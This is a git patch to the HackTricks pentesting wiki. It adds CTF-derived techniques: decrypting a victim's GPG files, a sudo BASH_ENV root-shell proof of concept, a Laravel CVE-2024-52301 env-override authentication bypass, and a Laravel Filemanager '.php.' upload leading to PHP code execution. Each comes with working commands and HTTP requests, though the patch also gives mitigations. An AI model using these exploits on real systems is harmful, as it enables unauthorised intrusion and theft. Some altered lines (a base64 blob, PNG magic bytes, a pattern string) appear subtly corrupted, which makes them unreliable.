From 591481a994c505befa1de0340ae14e701fab5985 Mon Sep 17 00:00:00 2001 From: HackTricks News Bot Date: Sun, 7 Sep 2025 01:31:16 +0000 Subject: [PATCH 1/2] =?UTF-8?q?Add=20content=20from:=20HTB=20Environment:?= =?UTF-8?q?=20Laravel=20env=20override=20(CVE=E2=80=912024=E2=80=9152301)?= =?UTF-8?q?=20=E2=86=92=20LFM...?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - Remove searchindex.js (auto-generated file) --- .../linux-post-exploitation/README.md | 31 ++++++++++++- .../privilege-escalation/README.md | 30 ++++++++++++- .../pentesting-web/laravel.md | 44 ++++++++++++++----- src/pentesting-web/file-upload/README.md | 41 ++++++++++++++++- 4 files changed, 129 insertions(+), 17 deletions(-) diff --git a/src/linux-hardening/linux-post-exploitation/README.md b/src/linux-hardening/linux-post-exploitation/README.md index 4b883891e..cd3594a78 100644 --- a/src/linux-hardening/linux-post-exploitation/README.md +++ b/src/linux-hardening/linux-post-exploitation/README.md @@ -53,6 +53,33 @@ The Pluggable Authentication Module (PAM) is a system used under Linux for user > [!TIP] > You can automate this process with [https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor) +## Decrypting GPG loot via homedir relocation + +If you find an encrypted `.gpg` file and a user’s `~/.gnupg` folder (pubring, private-keys, trustdb) but you can’t decrypt due to GnuPG homedir permissions/locks, copy the keyring to a writable location and use it as your GPG home. + +Typical errors you’ll see without this: "unsafe ownership on homedir", "failed to create temporary file", or "decryption failed: No secret key" (because GPG can’t read/write the original homedir). + +Workflow: + +```bash +# 1) Stage a writable homedir and copy the victim's keyring +mkdir -p /dev/shm/fakehome/.gnupg +cp -r /home/victim/.gnupg/* /dev/shm/fakehome/.gnupg/ +# 2) Ensure ownership & perms are sane for gnupg +chown -R $(id -u):$(id -g) /dev/shm/fakehome/.gnupg +chmod 700 /dev/shm/fakehome/.gnupg +# 3) Decrypt using the relocated homedir (either flag works) +GNUPGHOME=/dev/shm/fakehome/.gnupg gpg -d /home/victim/backup/secrets.gpg +# or +gpg --homedir /dev/shm/fakehome/.gnupg -d /home/victim/backup/secrets.gpg +``` + +If the secret key material is present in `private-keys-v1.d`, GPG will unlock and decrypt without prompting for a passphrase (or it will prompt if the key is protected). + + +## References + +- [0xdf – HTB Environment (GPG homedir relocation to decrypt loot)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html) +- [GnuPG Manual – Home directory and GNUPGHOME](https://www.gnupg.org/documentation/manuals/gnupg/GPG-Configuration-Options.html#index-homedir) + {{#include ../../banners/hacktricks-training.md}} - - diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md index 1d5a0d5ea..514e4d10b 100644 --- a/src/linux-hardening/privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/README.md @@ -886,6 +886,33 @@ This example, **based on HTB machine Admirer**, was **vulnerable** to **PYTHONPA sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh ``` +### BASH_ENV preserved via sudo env_keep → root shell + +If sudoers preserves `BASH_ENV` (e.g., `Defaults env_keep+="ENV BASH_ENV"`), you can leverage Bash’s non-interactive startup behavior to run arbitrary code as root when invoking an allowed command. + +- Why it works: For non-interactive shells, Bash evaluates `$BASH_ENV` and sources that file before running the target script. Many sudo rules allow running a script or a shell wrapper. If `BASH_ENV` is preserved by sudo, your file is sourced with root privileges. + +- Requirements: + - A sudo rule you can run (any target that invokes `/bin/bash` non-interactively, or any bash script). + - `BASH_ENV` present in `env_keep` (check with `sudo -l`). + +- PoC: + +```bash +cat > /dev/shm/shell.sh <<'EOF' +#!/bin/bash +/bin/bash +EOF +chmod +x /dev/shm/shell.sh +BASH_ENV=/dev/shm/shell.sh sudo /usr/bin/systeminfo # or any permitted script/binary that triggers bash +# You should now have a root shell +``` + +- Hardening: + - Remove `BASH_ENV` (and `ENV`) from `env_keep`, prefer `env_reset`. + - Avoid shell wrappers for sudo-allowed commands; use minimal binaries. + - Consider sudo I/O logging and alerting when preserved env vars are used. + ### Sudo execution bypassing paths **Jump** to read other files or use **symlinks**. For example in sudoers file: _hacker10 ALL= (root) /bin/less /var/log/\*_ @@ -1707,6 +1734,7 @@ android-rooting-frameworks-manager-auth-bypass-syscall-hook.md - [https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) - [https://www.linode.com/docs/guides/what-is-systemd/](https://www.linode.com/docs/guides/what-is-systemd/) - [0xdf – HTB Eureka (bash arithmetic injection via logs, overall chain)](https://0xdf.gitlab.io/2025/08/30/htb-eureka.html) -- [GNU Bash Reference Manual – Shell Arithmetic](https://www.gnu.org/software/bash/manual/bash.html#Shell-Arithmetic) +- [GNU Bash Manual – BASH_ENV (non-interactive startup file)](https://www.gnu.org/software/bash/manual/bash.html#index-BASH_005fENV) +- [0xdf – HTB Environment (sudo env_keep BASH_ENV → root)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/laravel.md b/src/network-services-pentesting/pentesting-web/laravel.md index cd0de4a66..d0810d74f 100644 --- a/src/network-services-pentesting/pentesting-web/laravel.md +++ b/src/network-services-pentesting/pentesting-web/laravel.md @@ -91,18 +91,37 @@ curl -H "Cookie: laravel_session=; =$(cat forged.txt)" https: --- -## Mass APP_KEY discovery via cookie brute-force +## CVE-2024-52301 – HTTP argv/env override → auth bypass -Because every fresh Laravel response sets at least 1 encrypted cookie (`XSRF-TOKEN` and usually `laravel_session`), **public internet scanners (Shodan, Censys, …) leak millions of ciphertexts** that can be attacked offline. +When PHP’s `register_argc_argv=On` (typical on many distros), PHP exposes an `argv` array for HTTP requests derived from the query string. Recent Laravel versions parsed these “CLI-like” args and honored `--env=` at runtime. This allows flipping the framework environment for the current HTTP request just by appending it to any URL: -Key findings of the research published by Synacktiv (2024-2025): -* Dataset July 2024 » 580 k tokens, **3.99 % keys cracked** (≈23 k) -* Dataset May 2025 » 625 k tokens, **3.56 % keys cracked** -* >1 000 servers still vulnerable to legacy CVE-2018-15133 because tokens directly contain serialized data. -* Huge key reuse – the Top-10 APP_KEYs are hard-coded defaults shipped with commercial Laravel templates (UltimatePOS, Invoice Ninja, XPanel, …). +- Quick check: + - Visit `https://target/?--env=local` or any string and look for environment-dependent changes (debug banners, footers, verbose errors). If the string is reflected, the override is working. -The private Go tool **nounours** pushes AES-CBC/GCM bruteforce throughput to ~1.5 billion tries/s, reducing full dataset cracking to <2 minutes. +- Impact example (business logic trusting a special env): + - If the app contains branches like `if (app()->environment('preprod')) { /* bypass auth */ }`, you can authenticate without valid creds by sending the login POST to: + - `POST /login?--env=preprod` +- Notes: + - Works per-request, no persistence. + - Requires `register_argc_argv=On` and a vulnerable Laravel version that reads argv for HTTP. + - Useful primitive to surface more verbose errors in “debug” envs or to trigger environment-gated code paths. + +- Mitigations: + - Disable `register_argc_argv` for PHP-FPM/Apache. + - Upgrade Laravel to ignore argv on HTTP requests and remove any trust assumptions tied to `app()->environment()` in production routes. + +Minimal exploitation flow (Burp): + +```http +POST /login?--env=preprod HTTP/1.1 +Host: target +Content-Type: application/x-www-form-urlencoded +... +email=a@b.c&password=whatever&remember=0xdf +``` + +--- ## Laravel Tricks @@ -196,9 +215,9 @@ def encrypt(string): app_key ='HyfSfw6tOF92gKtVaLaLO4053ArgEf7Ze0ndz0v487k=' key = base64.b64decode(app_key) -decrypt('eyJpdiI6ImJ3TzlNRjV6bXFyVjJTdWZhK3JRZ1E9PSIsInZhbHVlIjoiQ3kxVDIwWkRFOE1sXC9iUUxjQ2IxSGx1V3MwS1BBXC9KUUVrTklReit0V2k3TkMxWXZJUE02cFZEeERLQU1PV1gxVForYkd1dWNhY3lpb2Nmb0J6YlNZR28rVmk1QUVJS3YwS3doTXVHSlhcL1JGY0t6YzhaaGNHR1duSktIdjF1elwvNXhrd1Q4SVlXMzBrbTV0MWk5MXFkSmQrMDJMK2F4cFRkV0xlQ0REVU1RTW5TNVMrNXRybW9rdFB4VitTcGQ0QlVlR3Vwam1IdERmaDRiMjBQS05VXC90SzhDMUVLbjdmdkUyMnQyUGtadDJHSEIyQm95SVQxQzdWXC9JNWZKXC9VZHI4Sll4Y3ErVjdLbXplTW4yK25pTGxMUEtpZVRIR090RlF0SHVkM0VaWU8yODhtaTRXcVErdUlhYzh4OXNacXJrVytqd1hjQ3FMaDhWeG5NMXFxVXB1b2V2QVFIeFwvakRsd1pUY0h6UUR6Q0UrcktDa3lFOENIeFR0bXIrbWxOM1FJaVpsTWZkSCtFcmd3aXVMZVRKYXl0RXN3cG5EMitnanJyV0xkU0E3SEUrbU0rUjlENU9YMFE0eTRhUzAyeEJwUTFsU1JvQ3d3UnIyaEJiOHA1Wmw1dz09IiwibWFjIjoiNmMzODEzZTk4MGRhZWVhMmFhMDI4MWQzMmRkNjgwNTVkMzUxMmY1NGVmZWUzOWU4ZTJhNjBiMGI5Mjg2NzVlNSJ9') -#b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV\\";s:8:\\"username\\";s:8:\\"guestc32\\";s:5:\\"order\\";s:2:\\"id\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e' -encrypt(b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw\\";s:8:\\"username\\";s:8:\\"guest60e\\";s:5:\\"order\\";s:8:\\"lolololo\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605141157}') +decrypt('eyJpdiI6ImJ3TzlNRjV6bXFyVjJTdWZhK3JRZ1E9PSIsInZhbHVlIjoiQ3kxVDIwWkRFOE1sXC9iUUxjQ2IxSGx1V3MwS1BBXC9KUUVrTklReit0V2k3TkMxWXZJUE02cFZEeERLQU1PV1gxVForYkd1dWNhY3lpb2Nmb0J6YlNZR28rVmk1QUVJS3YwS3doTXVHSlxcL1JGY0t6YzhaaGNHR1duSktIdjF1elxcLzV4a3dUOElZVzMw aG01dGk5MXFkSmQrMDJMK2F4cFRkV0xlQ0REVU1RTW5TNVMrNXRybW9rdFB4VitTcGQ0QlVlR3Vwam1IdERmaDRiMjBQS05VXC90SzhDMUVLbjdmdkUyMnQyUGtadDJHSEIyQm95SVQxQzdWXC9JNWZKXC9VZHI4Sll4Y3ErVjdLbXplTW4yK25pTGxMUEtpZVRIR090RlF0SHVkM0VaWU8yODhtaTRXcVErdUlhYzh4OXNacXJrVytqd1hjQ3FMaDhWeG5NMXFxVXB1b2V2QVFIeFwvakRsd1pUY0h6UUR6Q0UrcktDa3lFOENIeFR0bXIrbWxOM1FJaVpsTWZkSCtFcmd3aXVMZVRKYXl0RXN3cG5EMitnanJyV0xkU0E3SEUrbU0rUjlENU9YMFE0eTRhUzAyeEJwUTFsU1JvQ3d3UnIyaEJiOHA1Wmw1dz09IiwibWFjIjoiNmMzODEzZTk4MGRhZWVhMmFhMDI4MWQzMmRkNjgwNTVkMzUxMmY1NGVmZWUzOWU4ZTJhNjBiMGI5Mjg2NzVlNSJ9') +#b'{"data":"a:6:{s:6:\"_token\";s:40:\"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV\";s:8:\"username\";s:8:\"guestc32\";s:5:\"order\";s:2:\"id\";s:9:\"direction\";s:4:\"desc\";s:6:\"_flash\";a:2:{s:3:\"old\";a:0:{}s:3:\"new\";a:0:{}}s:9:\"_previous\";a:1:{s:3:\"url\";s:38:\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\";}}","expires":1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e' +encrypt(b'{"data":"a:6:{s:6:\"_token\";s:40:\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw\";s:8:\"username\";s:8:\"guest60e\";s:5:\"order\";s:8:\"lolololo\";s:9:\"direction\";s:4:\"desc\";s:6:\"_flash\";a:2:{s:3:\"old\";a:0:{}s:3:\"new\";a:0:{}}s:9:\"_previous\";a:1:{s:3:\"url\";s:38:\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\";}}","expires":1605141157}') ``` ### Laravel Deserialization RCE @@ -223,7 +242,8 @@ Another deserialization: [https://github.com/ambionics/laravel-exploits](https:/ * [PHPGGC – PHP Generic Gadget Chains](https://github.com/ambionics/phpggc) * [CVE-2018-15133 write-up (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce) * [CVE-2024-52301 advisory – Laravel argv env detection](https://github.com/advisories/GHSA-gv7v-rgg6-548h) +* [CVE-2024-52301 PoC – register_argc_argv HTTP argv → --env override](https://github.com/Nyamort/CVE-2024-52301) +* [0xdf – HTB Environment (CVE‑2024‑52301 env override → auth bypass)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html) {{#include ../../banners/hacktricks-training.md}} - diff --git a/src/pentesting-web/file-upload/README.md b/src/pentesting-web/file-upload/README.md index 065168fd3..f1a64c99e 100644 --- a/src/pentesting-web/file-upload/README.md +++ b/src/pentesting-web/file-upload/README.md @@ -51,7 +51,7 @@ Other useful extensions: ``` # Linux maximum 255 bytes /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255 - Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png + Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png # Upload the file and check response how many characters it alllows. Let's say 236 python -c 'print "A" * 232' AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA @@ -59,6 +59,40 @@ Other useful extensions: AAA<--SNIP 232 A-->AAA.php.png ``` +#### UniSharp Laravel Filemanager pre-2.9.1 (.php. trailing dot) – CVE-2024-21546 + +Some upload handlers trim or normalize trailing dot characters from the saved filename. In UniSharp’s Laravel Filemanager (unisharp/laravel-filemanager) versions before 2.9.1, you can bypass extension validation by: + +- Using a valid image MIME and magic header (e.g., PNG’s `\x89PNG\r\n\x1a\n`). +- Naming the uploaded file with a PHP extension followed by a dot, e.g., `shell.php.`. +- The server strips the trailing dot and persists `shell.php`, which will execute if it’s placed in a web-served directory (default public storage like `/storage/files/`). + +Minimal PoC (Burp Repeater): + +```http +POST /profile/avatar HTTP/1.1 +Host: target +Content-Type: multipart/form-data; boundary=----WebKitFormBoundary + +------WebKitFormBoundary +Content-Disposition: form-data; name="upload"; filename="0xdf.php." +Content-Type: image/png + +\x89PNG\r\n\x1a\n +------WebKitFormBoundary-- +``` + +Then hit the saved path (typical in Laravel + LFM): + +``` +GET /storage/files/0xdf.php?cmd=id +``` + +Mitigations: +- Upgrade unisharp/laravel-filemanager to ≥ 2.9.1. +- Enforce strict server-side allowlists and re-validate the persisted filename. +- Serve uploads from non-executable locations. + ### Bypass Content-Type, Magic Number, Compression & Resizing - Bypass **Content-Type** checks by setting the **value** of the **Content-Type** **header** to: _image/png_ , _text/plain , application/octet-stream_ @@ -210,7 +244,7 @@ https://github.com/portswigger/upload-scanner ## Magic Header Bytes -- **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["` +- **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\x s0\x03["` - **JPG**: `"\xff\xd8\xff"` Refer to [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) for other filetypes. @@ -340,5 +374,8 @@ How to avoid file type detections by uploading a valid JSON file even if not all - [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a) - [https://blog.doyensec.com/2025/01/09/cspt-file-upload.html](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html) - [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/) +- [CVE-2024-21546 – NVD entry](https://nvd.nist.gov/vuln/detail/CVE-2024-21546) +- [PoC gist for LFM .php. bypass](https://gist.github.com/ImHades101/338a06816ef97262ba632af9c78b78ca) +- [0xdf – HTB Environment (UniSharp LFM upload → PHP RCE)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html) {{#include ../../banners/hacktricks-training.md}} From 9df6b0d1e6663d1fa314f3a489f6c242e34fb352 Mon Sep 17 00:00:00 2001 From: SirBroccoli Date: Sun, 7 Sep 2025 23:13:38 +0200 Subject: [PATCH 2/2] Update laravel.md --- .../pentesting-web/laravel.md | 13 ++++++++++++- 1 file changed, 12 insertions(+), 1 deletion(-) diff --git a/src/network-services-pentesting/pentesting-web/laravel.md b/src/network-services-pentesting/pentesting-web/laravel.md index d0810d74f..9a85749ac 100644 --- a/src/network-services-pentesting/pentesting-web/laravel.md +++ b/src/network-services-pentesting/pentesting-web/laravel.md @@ -89,7 +89,18 @@ curl -H "Cookie: laravel_session=; =$(cat forged.txt)" https: ``` ---- +## Mass APP_KEY discovery via cookie brute-force + +Because every fresh Laravel response sets at least 1 encrypted cookie (`XSRF-TOKEN` and usually `laravel_session`), **public internet scanners (Shodan, Censys, …) leak millions of ciphertexts** that can be attacked offline. + +Key findings of the research published by Synacktiv (2024-2025): +* Dataset July 2024 » 580 k tokens, **3.99 % keys cracked** (≈23 k) +* Dataset May 2025 » 625 k tokens, **3.56 % keys cracked** +* >1 000 servers still vulnerable to legacy CVE-2018-15133 because tokens directly contain serialized data. +* Huge key reuse – the Top-10 APP_KEYs are hard-coded defaults shipped with commercial Laravel templates (UltimatePOS, Invoice Ninja, XPanel, …). + +The private Go tool **nounours** pushes AES-CBC/GCM bruteforce throughput to ~1.5 billion tries/s, reducing full dataset cracking to <2 minutes. + ## CVE-2024-52301 – HTTP argv/env override → auth bypass